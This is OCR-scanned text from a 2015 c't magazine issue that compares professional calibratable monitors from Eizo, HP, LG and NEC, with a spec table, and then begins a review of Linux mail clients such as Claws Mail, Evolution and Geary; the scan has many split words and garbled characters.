d ie  Messung automatisch nach oben. Die 
mitgel ieferte Softwa re ColorNavigator 6 
bringt Presets mit, d ie den Schirm auf s inn­
vo l l e  Werte fü r Webdesign, Druckvorstufe 
oder Fotografie ka l ib rieren. Zusätzl ich lassen 
sich eigene Ziele an legen, i n  denen maxima-
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Eizos CG277 zeichnet sich 
durch eine sehr homogene 
Ausleuchtung und eine neutra le  
Graustufenanzeige aus. 

Der 24-zöl l ige CS240 von Eizo 
wird ohne Colorimter 

ausgel iefert. Seine 
mitgel ieferte Software 

arbeitet mit a l len gängigen 
Messköpfen zusammen. 

l e  und min ima le He l l igkeit, Weißpunkt, Fa rb­
raum und das Gamma der Farbkanä le festge­
legt wird. Praktisch: Im Einste l l ungsmenü des 
CG277 kann  man e inen Zeitp lan an l egen, 
wann sich der Schirm selbstständig nachka­
l ib rieren so l l .  Zum gewünschten Zeitpunkt 
er ledigt der Monitor d ie Messung dann auto­
matisch, ohne dass der Rechner läuft. 

E ingeste l l t  a uf eine Leuchtdichte von 1 1 0  
cd/m2 i n  der Sch i rmmitte wich die He l l igkeit 
auf neun über die B i ldfläche vertei lten Mess­
punkten um weniger als 5 cd/m2 bezie­
hungsweise weniger als 4 Prozent ab  - Spit­
zenklasse. Und auch mit bloßem Auge konn­
ten wir keine der sonst häufig auftretenden 
Schattierungen am Bi ldrand ausmachen. E in 
Grund fü r das gute Ergebnis :  Jedes Panel  
wi rd von E izo im Werk auf He l l igkeitsabwei­
chungen untersucht und nötige Korrektu ren 
werden dauerhaft in der Displayelektron ik  
gespeichert. 

Eizo CS240 

Auch beim günstigeren CS240 sorgt Eizos 
DUE-Funktion (Digital Un iformity Equa l izer) 
fü r e ine sehr homogene Aus leuchtung der  
B i ldfläche. Der 24-Zö l l e r  hat aber  keinen 
Messkopf integ riert und wird auch ohne ex­
ternes Color imeter a usge l iefert. I m  Ka rton 
fi ndet sich aber d ie Ka l ibriersoftwa re Color-

Zum Ka l ibrieren des 
Z27X von HP muss man 
auf das gesondert 
verkaufte HP-Messgerät 
zurückgreifen.  

Der 27MB85Z wartet a ls  
einziger Testkandidat mit  

e inem Thunderbolt­
Ansch luss auf. 

Prüfstand I Profi-Monitore 

Navigator 6. S ie funkt ioniert mit gängigen 
Messköpfen wie beispie lsweise Datacolor 
Spyder 4, i 1  Disp lay und dem DTP94 von X­
Rite, dem Colormunki und dem Spektra l pho­
tometer i1 Pro2 - man muss also nicht 
zwangsläufig das von E izo gesondert ange­
botene Color imeter benutzen .  ln Sachen 
Funkt ionsumfang unterscheidet s ich die 
Software nicht von der des teu reren CG277: 
Auch hier lassen sich Ziele mit gewünschten 
B i ldpa rameter an legen. Statt der a utomati­
schen Selbstka l i brierung g ibt es h ier e ine Er­
innerung. 

H P Z27X 

HP  legt dem Z27X weder e in Color imeter 
noch eine Ka l ibriersoftware bei. Beides muss 
man als Paket bei HP fü r 250 Euro dazu kaufen. 
Bei dem von HP  angebotenen Color imeter 
handelt es sich augenschein l ich um ein um­
gelabeltes i1 Display Pro von X-Rite. Lädt man 
die Ka l ibrierungssoftware bei HP herunter, 
kommt man offenbar trotzdem nicht um den 
Kauf des Bundles herum: l n  unseren Tests ver­
weigerte die Software die Zusammenarbeit 
mit unserem Spektra lphotometer i1 Pro2 und 
unserem Spyder 4-Colorimeter und verlangte 
stattdessen nach dem HP-Colorimeter. 

Zusammen mit Eizos CG277 hat H Ps 27-
Zöl ler die geringste B l ickwinkelabhängigkeit 
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Mit e inem Kontrast von mehr als 1 000:1 
hängt er  das rest l iche Testfe ld ab. Die 
Sch i rmaus leuchtung gel ingt dem Z27X aber 
nicht ganz so homogen wie den Displays von 
Eizo und NEC. 

LG 27M B85Z 

LG lässt dem Nutzer d ie Wahl ,  mit welchem 
Messgerät er  den 27MB85Z ka l ib riert: Die 
zum Monitor mitgel ieferte Softwa re True 
Color Pro unterstützt a l l e  gängigen Senso­
ren; mitgel iefert wird keiner. Bei Tests mit un­
serem i1 Pro wies LGs Software automatisch 
darauf h in, dass der Sensor vor der Messung 
seinerseits e ine Ka l ib rierung auf d ie i n  den 
Sensorständer e ingebaute Normweiß-F läche 
benötigt . Ausgerechnet das Zusammenspiel 
mit  dem von LG angebotenen Color imeter 
funktion ierte aber nicht: Nach der Ka l i brie­
rung zeigte der 27MB85Z ein extrem rosasti­
chiges B i ld .  Laut LG ist d ieses Problem be­
kannt und wird i n  Kü rze mitte l s  Soft- und  
F i rmware-Updates behoben. 

Häufig genutzte Ka l ib rierzie le wie sRGB 
oder AdobeRGB sowie der native Farbraum 
des  27MB85Z m i t  6500 Kelvi n s i nd  bereits a l s  
Voreinste l l ung angelegt und lassen sich mit 
e inem Mauskl ick aufrufen .  Im  Benutzermo­
dus erl aubt die Software die fre ie Auswah l  
von Farbumfang, He l l igkeit, Fa rbtemperatur 
und Gamma. True Color Pro bietet einen g ro­
ßen Funkt ionsumfang, ohne Neu l inge mit 
vielen Schaltflächen zu überfordern. 

Mit  se inen DVI-, HDMI- und Disp layPort­
Ansch lüssen lässt sich der 27-Zöl ler  praktisch 
mit jeder Grafikka rte und dank Thunderbolt 
auch an  neueren MacBooks betreiben. 

LG 3 1 MU97 

LGs 3 1  MU97 n immt über se ine be iden Dis­
playPorts UHD-Signa le mit 60 Hz entgegen. 
An seinen HDMI - 1 .4-Ei ngängen kann  4K 
mangels Bandbreite nur mit 30 Hz zugespielt 
werden. Als einziger der Testkand idaten hat 
der 31 MU97 i nteg r ierte Lautsprecher, die 
den über Disp layPort oder HDMI übertrage­
nen Ton ausgeben. 

ln den Werkspresets ste l l t  der 3 1 -Zö l le r  
Graustufen nicht ganz so perfekt fa rbneutral 
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LGs UHD-Monitor 3 1 MU97 
löst mit seinen 4090 X 
2160 B i ldpunkten feiner 
auf a ls  die übrigen 
Testkandidaten. 

NECs SpectraView Reference 
272 1euchtet die Schi rmfläche 

sehr homogen aus, hat aber 
einen etwas geringeren 

Kontrast. 

dar wie die übrigen Testkand idaten. Nach der 
Ka l i br ierung stand er ihnen d iesbezüg l ich 
n ichts nach. H ierbei kommt d ieselbe Soft­
ware zum Einsatz wie beim 27MB85Z. Somit 
hat man a lso auch mit dem 31 MU97 nahezu 
freie Hand bei der Auswah l  der Messköpfe. 

Wegen sei ner hohen Auflösung und der  
r iesigen Schi rmfläche eignet s ich der UHD­
Monitor auch fü r Office- und CAD-Anwen­
dungen .  Hier fä l l t  auch nicht ins Gewicht, 
dass d ie  Schi rmfläche weniger homogen 
ausgeleuchtet ist  a l s  bei den anderen Test­
kandidaten. 

N EC SpectraView Reference 27 

NECs Ka l i br iersoftwa re unterstützt nahezu 
jedes erhält l iche Messgerät und er laubt den 
Nutzern vie le E instel l u ngsoptionen.  Anfän­
ger könnte der g roße Funkt ionsumfang 
etwas überfordern, sofern s ie  gängige Beg rif­
fe des Farbmanagements nicht pa rat haben. 
Da NEC dem Monitor e in zieml ich umfang­
reiches Buch zum Farbmanagement bei legt, 
kann  man sich das nötige Wissen aber  
schne l l  sel bst an lesen. Be i  der Nutzung mit  
unserem Spektrometer i 1  P ro2 vergaß d ie  
Software vor  der Messung, auf den notwen­
digen Abgleich des Messgeräts mit dem 
Norm-Weiß h i nzuweisen. Die Ka l i br ierung 
funktion iert zwar auch ohne, kann  aber zu 
ungenaueren Ergebnissen füh ren. 

Wie auch HPs Z27X und Eizos CG277 zeich­
net sich der Reference 272 du rch eine sehr 
homogene Schirmausleuchtung aus. ! PS-typi­
sche Probleme wie das Aufhel len schwarzer 
F lächen bei der Betrachtung aus der Diago­
nalen und der nicht besonders hohe Kontrast 
werden du rch Lichtschutzblenden merkl ich 
reduziert: Sie verhindern, dass das Display bei 
hel lem Umgebungs l icht verblasst und kon­
trasta rm aussieht, und sorgen zugleich dafür, 
dass man nicht von den Seiten darauf schau­
en kann .  Solche Blenden gehören wie bei 
Eizos CG277 und HPs Z27X auch beim Spect­
raView Reference 272 zum Lieferumfang. 

Fazit 

Keiner der Testkand idaten le istet sich bei der 
B i ldqua l ität nennenswerte Schwächen. A l le  

Schirme zeichnen s ich du rch eine sehr  gerin­
ge Winkelabhängigkeit, extrem satte Fa rben 
und feine Fa rbabstufungen aus. Beim Publ i ­
shing und bei professione l le r  B i ldbearbei­
tung machen somit al le e ine gute F igu r. 

Eizos CG277 tut s ich mit sei nem integ rier­
ten Colorimeter hervor, was e ine sehr ei nfa­
che und schne l le  Ka l i br ierung ermöglicht -
ihn  aber auch zum teuersten Gerät im Test 
macht. Wer bereits e in  Co lor imeter oder 
Photometer besitzt, kann  auch e inen B l i ck 
auf Eizos CS240 und NECs SpectraView Refe­
rence 272 werfen, d ie  sich mit a l len gängi ­
gen Messgeräten ka l i brieren lassen .  Be i  HPs 
Z27X ist man auf das von HP  gesondert ver­
tr iebene Co lorimeter festgelegt .  Wer den 
Sch i rm fa rbverbind l ich nutzen wi l l ,  muss d ie 
250 Euro a l so g leich auf den Kaufpreis des 
Monitors d raufrechnen .  LGs 27MB85Z und 
Eizos CS240 s i nd  d ie günstigsten Testkand i­
daten - hier gehören a l lerd ings weder Licht­
schutzblenden noch Messköpfe zum Liefer­
umfang .  

I nsgesamt punkten a l l e  1 0-Bit-Displays 
du rch ih re gute Graustufenanzeige und aus­
reichende Reserven bei der Ka l ibrierung.  E in 
kompletter 1 0-Bit-Workflow lohnt sich aber 
nu r  fü r absol ute Profis. Denn gemessen am 
Aufwand, 10  B i t  i n  Betrieb zu nehmen, waren 
wir vom Ergebnis etwas enttäuscht: Ei nzig 
auf i n  1 0  Bit erste l l ten Graufver lauf-Testbi l ­
dern konnten wir e inen s ichtbaren U nter­
schied feststel len .  Auf Raw-Fotos, die wir mit 
einem guten Objektiv und einer Vol lformat­
kamera der  Oberklasse aufgenommen hat­
ten, konnten wir d ie Unterschiede zwischen 
8- und 1 0-Bit-Anzeige dagegen nur im d i rek­
ten Verg leich erahnen. 

Für d ie  pr ivate B i ldbea rbeitung braucht 
man eigentl ich keinen 1 0-Bit-Workflow und 
auch keine absolut fa rbverbind l iche Da rste l­
l ung .  Wer auf 1 0  Bit und Ha rdware-Ka l i brie­
rung verzichtet und zu konventionel len Mo­
n itoren mit großem Farbraum und I PS-Panel 
g reift, kann ein ige Euro sparen. (spo@ct.de) 

Literatu r  

[ 1 ]  Jörg Wirtgen, Stefa n Porteck, Stä rkere Farben, 
Größere Display-Farbräume n utzen, c't 23/09, 
5. 1 1 8 
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Prüfstand I Profi-Monitore 

Profi-Mon itore 
Produktbezeichnung 

Herstel ler 
Garantie LCD I Backlight 
[Jahre] 
Panel: Größe / Typ 
Pixelgröße 
Auflösung I Seitenverhältnis 
sichtbare Bildfläche I 
-diagonale 
Videoeingänge 

Farbmodi Preset I User 

Bi ldpresets 

Gammawert soll I ist 

Interpolation: abschaltbar I 
seitentreu / Vol lbi ld I Kan­
tenglättung 
LCD drehbar I höhenverstell­
bar I Hochformat 
VESA-Halterung (Lochab­
stand) I Kensington-Lock 
Rahmenbreite 

weitere Ausstattung 

lieferumfang 

Maße (B x H X T) I Gewicht 

Prüfzeichen 

Besondere Kennzeichen 

Messergebnisse 

minimales Sichtfeld 2 
erweitertes Sichtfeld 2 
Die runden Diagramme 
geben die Winkelabhängig­
keit des Kontrasts wieder. 
Blaue Farbanteile stehen für 
niedrige, rötliche für hohe 
Kontraste. Kreise markieren 
die Blickwinkel in 20-Grad­
Schritten. Im Idealfa l l  wäre 
das ganze Bild pink. 
winkelabh�ng iger Kontrast: 
Kreis� im 20°-Abstand 

..... , ... t!iiii! i i! "' 
0 200 400 600 

Ausleuchtung 

Leistungsaufnahme 
(Aus I Standby I Betrieb) 
Bewertung 

Blickwinkelabhängigkeit 
Kontrasthöhe 
Farbwiedergabe 
Graustufenauflösung 
Ausleuchtung 
Ge hä u seve rarbeitun g, 
Mechanik 

CG277 CS240 Z27X 27MB85Z 31 MU97 Spertra View Reference272 

Eizo Eizo HP LG LG N EC 
5 I 5, inkl . Vor-Ort-Austausch- 5 I 5, inkl . Vor-Ort-Austausch- 3 I 3, inkl . Vor-Ort-Austausch- 3 I 3, inkl . Vor-Ort-Austausch- 3 I 3, inkl .  Vor-Ort-Austausch- 5 I 5, inkl .  Vor-Ort-Austausch-
service 
27" I I  PS (mattiert) 
0,233 mm (1 09 dpi) 

2560 X 1440 I 1 6:9 
59,7 cm x 33,6 cm 1 68,5 cm 

DVI-D, DisplayPort, HDMI 

4000-1 0000 K in Schritten 
je 1 00 /v' 
sRGB, AdobeRGB, EBU, 
BT.709, SMPT-C, DCI, Custom, 
CALl -3 

2,2 I 2,22 

v !v' /v l -

v' lv' lv' 

v' (1 0cm) I v' 

seitlich 2,4 cm, oben 2,6 cm, 
unten 3,8 cm 
USB-Hub (2 X UBS-2.0-Ports), 
integriertes Messgerät zur 
Kalibrierung, ColorNavigator­
Software, Lichtschutzblenden 
Kabel: Mini-DisplayPort, 
DVI, USB, Netz; Handbuch, 
Kurzanleitung 

65 cm x 43-58 cm x 28 cm / 
1 2,7 kg 
TÜV Ergo, TÜV GS, 
ISO 1 3406-2 
integriertes Colorimeter, sehr 
homogene Schirmausleuch­
tung, großer Lieferumfang 

866:1 I 6,8 % 
724: 1 / 22,7 % 

96,3 % 

40,1 W / O,S W / O,S W 

service 
24" I I  PS (mattiert) 
0,27 mm (94 dpi) 

1 920 X 1 200 I 1 6: 1 0  
52  cm  x 32,5 cm  1 61 cm  

DVI-D, DisplayPort, HDMI 

4000-1 0000 K in Schritten 
je 1 00 /v 
sRGB, AdobeRGB, Nativ, 
Paper, CALl -3 

2,2 / 2,2 

v' /v' /v' / -

v' lv lv' 

v' (1 0cm) /v' 

seitlich u nd  oben 2,7 cm, 
unten 4,3 cm 
USB-Hub (2 X UBS-2.0-Ports), 
ColorNavigator-Software 

Kabel: Mini-DisplayPort, 
DVI, USB, Netz; Handbuch, 
Kurzanleitung 

58 cm x 42-55 cm x 25 cm I 
8,7 kg 
TÜV Ergo, TÜV GS, 
ISO 1 3406-2 
sehr homogene 
Schirmausleuchtung 

703 : 1  I 1 6,2 % 
490:1 1 46,1 o/o 

95,4 % 

26,4 W I 0,5 W I 0,4 W 

service 
27"1 1PS (mattiert) 
0,233 mm (1 09 dpi) 

2560 X 1440 I 1 6:9 
59,7 cm x 33,6 cm 1 68,5 cm 

2 X DisplayPort, HDMI 

sRGB D65, sRGB D50, 
AdobeRGB, BT.709, BT.2022, 
DCI P3, Nativ 

2,2 / 2, 19  

v !v' /v l -

v' lv' lv' 

v' (1 0cm) I v' 

rundum 2,1 cm 

service 
27" I IPS (mattiert) 
0,233 mm ( 109 dpi) 
2560 x 1440 / 1 6:9 
59,7 cm x 33,6 cm 1 68,5 cm 

DVI-D, DisplayPort, HDMI, 
2 x Thunderbolt 
5000-1 0000 K in Schritten 
je 500 I v' 
Anwender, sRGB, AdobeRGB, 
DCM Simulation, Leser, Ka li­
brierung 

2,2 / 2,35 
v' /v' /v' /v' ( 10 Stufen) 

v' lv lv' 

v' (1 0cm) /v' 

rundum 2 , 1  cm  

Service 
3 1 "  I I  PS (mattiert) 
0,1 67 mm ( 149 dpi) 

4096 x 21 60 / 1 7:9 
68,6 cm x 38,6 cm / 78,7 cm 

DisplayPort, 2 X HDMI, 
Mini-DisplayPort 
5000-1 0000 K in Sch rinen 
je 500 /v' 
Anwend er, sRGB, AdobeRGB, 
DCM Simulation, DCI P3 Simu­
lation, Leser, Ka librierung 1, 
Ka libirerung 2 
2,2 I 2,25 

v' /v' /v' /v' ( 10 Stufen) 

v lv' lv' 

v' (1 0cm) I v' 

rundum 1,6 cm 

service 
27" I IPS (mattiert) 
0,233 mm ( 109 dpi) 
2560 x 1440 / 1 6:9 
S9,7 cm x 33,6 cm 1 68,5 cm 

DVI-D, DisplayPort, HDMI, 
Mini-DisplayPort 
3000-1 5000 K in Schritten 
je 500 I v' 
AdobeRGB, sRGB, DCI, Ful l , 
High Bright 

2,2 / 2,21 

v' /v' /v' /v' (30 Stufen) 

v' lv lv' 

v' (1 0cm) /v' 

rundum 2 , 1  cm  

USB-Hub ( 4  x UBS-3.0-Ports), USB-Hub ( 3  X UBS-3.0-Ports), Lautsprecher ( 2  X S W), SpectraView-Profiler-Soft-
Lichtschutlblenden True-Color-Software USB-Hub (3 x UBS-3.0-Ports) ware, Lichtschutzblenden 

Kabel: Display Port, Mini­
DisplayPort, HDMI, USB, 
Netz; Handbuch auf CD, 
Kurzanleitung 
64,1 cm x 42 - 54 cm x 
25 cm I 8,8 kg 
TC006, TÜV Ergo, TÜV GS, 
ISO 1 3406-2 
lässt sich nur mit separatem 
HP-Colorimeter ka l ibrieren, 
sehr hoher Kontrast 

1 005:1 / 7,9 % 
839:1 I 24,1 o/o 

81 ,3 o/o 

37,2 W / O,S W / 0,4 W 

Kabel: DisplayPort, DVI, 
USB, Netz; Handbuch auf CD, 
Kurzanleitung 

64,3 cm x 41 ,7-54,7 cm x 
26 cm / 7,5 kg 
TC003, TÜV GS, ISO 1 3406-2 

hoher Kontrast, etwas kleine­
rer Farbraum, Splitscreen­
Funktion, Thunderbolt-2-
Anschlüsse 

993 : 1  I 21,2 o/o 
624:1 1 58,7 o/o 

88,8 % 
37,3 w / 0,5 w / 0,4 w 

Kabel: HDMI, DisplayPort, 
MiniDisplayPort-auf­
DisplayPort, USB, Netz; Hand­
buch auf CD, Kurzanleitung 
73,7 cm x 48,4-62,4 cm x 
24 cm I 9,3 kg 
TC006, TÜV Ergo, TÜV GS, 
ISO 1 3406-2 
sehr hohe Auflösung, inte­
grierte Lautsprecher, Split­
screen-Funktion 

878: 1 / 22,3 % 
545 : 1  / 61 , 1  o/o 

80,9 o/o 

47,7 W / 0,7 W / O,S W 

Kabel: 2 X DVI, Display Port, 
Netz; Handbuch auf CD, 
Kurzanleitung 

64 cm x 39,6-54,6 cm x 
23,5 cm I 1 2,9 kg 
TÜV Ergo, TÜV GS, 
ISO 1 3406-2 
sehr homogene Ausleuch­
tung, etwas geringer 
Kontrast, Umgebungslicht­
Sensor, Picture-in-Picture­
Funktion 

730:1 I 1 7,8 o/o 
477:1 1 53 o/o 

93,5 % 
46,2 W / 0,2 W / 0,1 W 

Bedienung, OSM ®$ ®® ®$ ®® ®$ ®® 
Straßenpreis (ca.) 2000 € 640 € 900 € 700 € 1400 € 1 700 € 

1 Pixelfehlerklasse I I :  Nach ISO 9421 -307 dürfen pro 1 Mil l ion Pixel maximal fünf immer leuchtende oder immer dunkle Subpixel oder(!) zwei komplett hel le und zwei komplett dunkle Pixel vo�iegen; 
bei Breitbild-LCDs mit 1 920x1 200er Auflösung sind demnach maximal 1 2  defekte Subpixel erlaubt 

2 Mittelwert und Standardabweichung des Kontrasts im minimalen beziehungsweise erweiterten Sichtfeld. Das minimale Sichtfeld umfasst a l le Einbl ickwinkel, unter denen ein Betrachter das Bild sieht, 
wenn er aus 60 cm Entfernung frontal auf die Schirmmitte schaut; die Bildecken sieht er dabei unter dem größten Winkel. Im erweiterten Sichtfeld bewegt er den Kopf paral le l zur Schinnfläche bis zu den Displaykanten; 
der Einblickwinkel auf die gegenüberliegenden Bildränder nimmt zu, der mittlere Kontrast sinkt. 

®$ sehr gut ® gut 0 zufriedenstel lend e schlecht 00 sehr schlecht v' vorhanden - nicht vorhanden k. A. keine Angabe Cf 

c't 20 1 5, Heft 5 1 23 



Liane M. Du bowy 

Ab geht d ie Post 
Mai i-C i ients fü r Li n ux 

Thu nderbird hat sich i n  vielen Linux-Distributionen a ls  Standard-Maikl ient durchgesetzt. 
E in  B l i ck  auf d ie Alternativen loh nt: Alte ingesessene Prog ramme wie C laws Mai l, Evo lut ion 
und KMai l  ü berzeugen m it Funktionsvielfa lt, während m it Troj ita und Geary zwei 
Neuan kömml inge andere Schwerpun kte setzen .  

A n Mai i-Ci ients herrscht unter 
Linux wahr l ich kein  Mangel ,  

sel bst auf der Kommandozei l e  
lassen s i ch  Mai l s  mit verschiede­
nen Prog rammen lesen. E ine 
Reihe von Desktop-Programmen 
le istet praktische H i lfe beim Be­
wä ltigen der Mai i -F i ut. Wir haben 
uns d ie stab i len Versionen der 
wichtigsten Mai i-Programme fü r 
den L inux-Desktop genauer an­
gesehen .  Mitt lerwei l e  hat s ich 
das IMAP-Protoko l l, be i  dem die 
Mai ls  auf dem Server des Anbie­
ters lagern und von unterschied­
l i chen Geräten und C l ients ab-

1 24 

fragbar sind, a l s  Standard du rch­
gesetzt. Al le Mai i-Programme im 
Test müssen d ieses Protoko l l  
dahe r  beherrschen .  Unter den  
Testkand idaten fi nden s i ch  so  
a ltbewährte Prog ramme wie 
Thunderb i rd, Evo l ut ion, KMa i l  
und Claws Ma i l ,  abe r  auch d ie 
noch jungen Too ls  Gea ry und 
Troj ita, d ie  du rchaus schon mit 
guten Funktionen punkten. 

Gegenüber Webmai l ern bie­
ten Desktop-Programme viele 
Komfortfunktionen. Bei der Mai i­
Organ isat ion stehen sie mit F i l ­
tern und Tags zur Seite. l n  um-

fangreichen IMAP-Hierarchien 
he lfen Favor iten dabei, häufig 
verwendete Ordner schne l le r  
ausfind ig  zu machen .  Virtue l l e  
Ordner sammeln  Nach richten, 
auf d ie bestimmte Suchkriterien 
zutreffen. Beim Verfassen unter­
stützen Vor lagen, e ine Recht­
schreibprüfung, Signatu rverwa l­
tung und nicht zu letzt ein 
Adressbuch.  Im  Idea lfa l l  lassen 
sich Adressen- und fa l l s  vorhan­
den Ka lenderdaten, per Card­
DAV und Ca lva mit anderen Ge­
räten synchronis ieren. Fast a l l e  
Mai i -Prog ramme verwa lten 

mehrere Mai i-Konten para l le l ,  in  
e in igen Fä l l en  lassen s ich auch 
versch iedene ldentitäten fü r 
e in  und diese lbe Ma i i -Ad resse 
an legen. 

Sicher mai len 

E in guter Mai i -C i ient kann  viel 
zur  s icheren -Kommun ikat ion 
beitragen. Das Nachladen exter­
ner I nha lte sol lte standardmäßig 
deaktiviert sei n .  A l le Programme 
im Test verhielten s ich hier vor­
b i ld l ich. Das schützt vor der Neu­
g ier  von U nternehmen, d ie  Bi l -

c 't 201 5, Heft 5 
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Claws Mai l l iefert 
haufenweise 
praktische Funk­
tionen und arbeitet 
dabei stabi l  und 
schnel l .  
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der i n  Nach richten e inbetten, 
um beim Nach laden festzustel­
len, dass d ie  Nachricht tatsäch­
l ich ge lesen wurde. Die 
Datenschutzfunktionen der Pro­
g ramme haben wir mit e iner 
Mai l  von ema i lprivacytester.com 
getestet, die e ine ganze Reihe 
von Schnüffeltechn iken du rch­
probiert. Hier gaben s ich die 
meisten Prog ramme keiner le i  
B löße. Lesebestätigungen ver­
sandte keiner  der C l ients ohne 
vorher ige Zustimmung (s iehe 
auch den Artike l  "Schnüffe l ­
stopp" ab  Seite 1 76). 

Um den I nha l t  e iner Mail auf 
i h rem Weg vor neugierigen 
Augen zu schützen, b le ibt nu r, 
d iese zu versch lüssel n .  Das Mai i ­
Programm muss dazu PGP/ 
GnuPG oder S/M IME  unterstüt­
zen. N icht a l l e  Mai i -C i ients bie­
ten d iese Funktion. Lässt sie sich 
nicht über e in P l ug- in nachrüs­
ten, b le ibt nur, den Text über d ie 
Zwischenablage und ein zusätz­
l iches Tool wie Gpg4usb zu ver­
und entsch l üsse ln  und per 
Copy & Paste ins Mai i -Prog ramm 
zu übertragen .  Im  Verg le ich zu  
e inem einfachen K l i ck  und der 
E ingabe des Passworts ist das 
a l lerd ings recht umständ l ich. 

wenden, da d iese automatisch 
aus zuverlässiger Quel le aktua l i ­
s iert wird.  

Claws Mail  

Das aus Sylpheed hervorgegan­
gene Claws Ma i l  bietet e inen 
großen Funkt ionsumfang, den 
d ie umfangreichen Menüs wi­
derspiege ln .  Bereits mitgel iefer­
te P lug- ins erweitern den Mai ler 
um ein ige wichtige Funktionen, 
beispie lsweise Versch l ü ssel ung  
mit GnuPG, e inen  RSS-Feed rea­
der, einen Spamfi lter und ein iges 
mehr. Von der dank Standard­
lcons etwas a l tbacken wi rken­
den Oberfläche so l l te man s ich 
nicht absch recken lassen, ver­
schiedene l con-Themes sorgen 
fü r e ine modernere Optik. Das 
erste E in lesen eines umfangrei­
chen IMAP-Ordners dauerte im 
Test e in wenig, danach klappte 
der Zugriff schne l l .  

P ra ktisch beim Verfassen 
einer Mai l :  Für jeden IMAP-Ord­
ner lassen sich eigene Standard­
E instel l u ngen festlegen. Je nach­
dem, i n  welchem Ordner man 
sich gerade befindet, verwendet 
Claws Mai l  d ie zuvor gewäh lten 
Standardei nstel l u ngen fü r Ab-

• • llnv-� (I.Munt��•Lu.n. l1Ji ini.t.w•tl - balutiiNI 

sender, Empfänger, CC, BCC und 
Vor lagen. E ine S ignatur  ergänzt 
Claws Mai l  auf Wunsch automa­
tisch aus einer externen Textda­
teL Das Verschicken von HTML­
Ma i l s  ha l ten die Entwickler fü r 
unnötig, sodass der Ma i le r  das 
n icht beherrscht. Empfangene 
HTML-Mai l s  zeigt er standardmä­
ßig als Text ohne HTML-Forma­
tierungen, mit H i lfe des P lug- ins 
Fancy ist auch HTML-Ansicht 
mögl ich. 

Claws Mai I bietet jede Menge 
Funkt ionen zur  Ma i i -Organ isa­
t ion: Mai ls lassen sich fa rbig mar­
kieren oder mit Schlagwörtern 
versehen; benutzerdefin ierte F i l ­
ter he lfen dabei, d ie Mai i -F iut zu 
bänd igen .  Für mehr Übersicht 
gerade bei Ma i l i ng-Listen sorgt 
d ie  Option "Disku rs ignorieren" 
unter "Nachricht/Markieren", d ie 
den ganzen Thread a l s  ge lesen 
ma rkiert und von den Benach­
richtig ungen ausn immt. Mit  
"Diskurs beobachten" lassen sich 
spannende Threads ma rkieren 
und so leichter im Bl ick behalten. 
Das Adressbuch fü l l t  Claws Mai l 
auf Wunsch automatisch mit 
Mai i -Adressen aus  e inem be­
stimmten Ordner oder aus  mar­
kierten Mai ls .  

Versionen 
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Prüfstand I Linux-Mai i-Ci ients 

l n  Sachen Sicherheit g ibt sich 
Claws keine Blöße: Mit H i lfe von 
P l ug- ins unterstützt das Pro­
gramm Verschl üsse lung und das 
Ausfi ltern von Spam - wah lweise 
mit SpamAssassin oder Bogofi lter. 
Die Suche du rchforstet auch um­
fangreiche IMAP-Ordner, l iefert 
dann a l lerd ings keine Liste mit 
den Suchergebn issen, sondern 
springt von Treffer zu Treffer. 

Evolution 

Evolution bietet e in rundes Kom­
plettpaket aus Mai i-Ci ient, Ka ien­
der, Kontakt-, Notiz- und Aufga­
benverwa l tung .  Über  Scha ltflä­
chen unten l i nks im Fenster 
wechselt man zwischen den Be­
reichen. Trotz des beträchtl ichen 
Funkt ionsumfangs ist das Pro­
g ramm übersicht l ich und le icht 
zu bed ienen, d ie Menüs bleiben 
überschauba r. Assistenten füh­
ren gerad l in ig du rch das E inrich­
ten neuer Konten. Evol ut ion 
bringt a l le wicht igen Funktionen 
mit, a rbeitet flott und patzt in 
keiner Rubrik. P lug- ins l iefern Zu­
satzfunkt ionen wie einen RSS­
Reader, doch d ie Auswah l  ist be­
g renzt. 

Ma i l s  lassen sich als wichtig 
markieren und mit benutzerdefi­
n ierten fa rbigen Markierungen 
versehen. Wer sie n icht manue l l  
mit  der Maus oder übers Kon­
textmenü verschieben wi l l ,  kl ickt 
passende F i lter zusammen. Vi r­
tue l le Suchordner speichern das 
Ergebnis häufig benötigter Such­
aufträge, d ie  s ich zentra l in 
einem eigenen Dia log verwa lten 
und bearbeiten lassen. 

Für mehr Sicherheit sorgt e in 
Spamfi l ter auf der Basis von 
SpamAssassi n oder Bogofi l ter .  
Das Nach laden von Bi ldern in 
Nach richten lässt s ich ganz un­
terbinden oder nur fü r Absender 
im Adressbuch zu lassen.  E ine 

Die meisten der Mai I-Programme 
l iegen i n  den Standard-Paket­
que l len der Linux-Distributionen 
vor, a l lerd i ngs ge legent l ich in 
n icht ganz aktue l len Vers ionen.  
I m  Test kam d ie jewei l s  letzte 
stab i le  Version eines Mai i -C i ients 
zum Zug, die gegebenenfa l l s  
über d i e  Projekt-Website erhält­
l ich ist. Spricht nicht e ine g ravie­
rende Sicherheits lücke oder das 
Feh len wichtiger Funktionen da­
gegen, empfehlen wir trotzdem, 
die in den Standard-Paketque l ­
len angebotene Version zu ver-
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....... 

e.r.c!l11 tliU.a ctltllUr ... p.IC. 
Albftl A!.t.b. Cid �.aad··tl� 
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Evolution: viele 
Funktionen, leicht 
zu bedienen und 
macht auch bei 
Mai i -Konten mit 
vielen Nachrichten 
nicht so schnel l  
sch lapp 
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.· 
Geary platziert 
den Dia log zum 
Schreiben einer 
neuen Mai l  in l ine im 
Programmfenster, 
er lässt sich aber 
auch abkoppel n .  

Ql n  .. n .. Fft.t-tsD "" .. .  ., ... , .. "' J � �  
MySQl Clo:s.l4f' IS lht dlwlbu1td, sh.lred-nclhiriJ 
1r.11n:aru ofMySOL 

Scha ltfläche zum e inma l igen 
E inb lenden von B i ldern in  e iner  
Ma i l  feh l t, d ie  Funkt ion fi ndet 
s ich im  Menü "Ansicht". Laut 
Emai l  Privacy Tester verrät das 
Programm led ig l ich d ie I P  des 
DNS-Servers. 

Geary 

Gearys Herangehensweise ist mi­
n ima l ist isch: Der Funkt ionsum­
fang ist überschaubar  und  das 
Prog ramm dadu rch sehr einfach 
zu bed ienen.  Die du rchdachte 
und schön gesta ltete Oberfläche 
macht Gea ry zu einem vielver­
sprechenden Kandidaten, n icht 
nur fü r E lementaryOS, das ihn 
bereits a l s  Standard-Ma i le r  e in­
setzt. Der noch junge Mai i-Ci ient 
kennt nur IMAP-Konten und 
kann  mit POP3 n ichts anfangen. 
Mai ls  präsentiert d ie Software a l s  
zusammenhängende Konversa­
t ionen, die auch die e igenen 
Antworten entha lten.  Bereits ge­
lesene Mai l s  klappt die Software 
dabei p latzsparend ein. Gea ry 
lädt nicht automatisch a l l e  Nach­
